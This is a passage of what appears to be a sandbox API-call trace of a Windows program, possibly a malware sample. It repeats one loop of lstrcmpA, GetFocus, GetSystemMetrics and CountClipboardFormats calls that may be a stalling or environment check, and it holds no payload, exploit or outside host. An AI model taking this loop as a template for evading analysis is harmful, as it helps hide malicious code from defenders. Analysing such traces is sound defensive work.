(lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.669] GetSystemMetrics (nIndex=25) returned 0 [0115.669] CountClipboardFormats () returned 0 [0115.669] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.669] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.670] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.670] GetFocus () returned 0x0 [0115.670] GetSystemMetrics (nIndex=25) returned 0 [0115.670] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.671] CountClipboardFormats () returned 0 [0115.671] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.671] GetFocus () returned 0x0 [0115.671] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.672] CountClipboardFormats () returned 0 [0115.672] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.672] GetFocus () returned 0x0 [0115.672] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.673] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.673] GetFocus () returned 0x0 [0115.673] GetSystemMetrics (nIndex=25) returned 0 [0115.673] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.674] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.674] GetFocus () returned 0x0 [0115.674] GetSystemMetrics (nIndex=25) returned 0 [0115.674] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.675] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.675] GetFocus () returned 0x0 [0115.675] GetSystemMetrics (nIndex=25) returned 0 [0115.675] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.676] GetFocus () returned 0x0 [0115.676] GetSystemMetrics (nIndex=25) returned 0 [0115.676] CountClipboardFormats () returned 0 [0115.676] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 [0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] GetSystemMetrics (nIndex=25) returned 0 [0115.677] CountClipboardFormats () returned 0 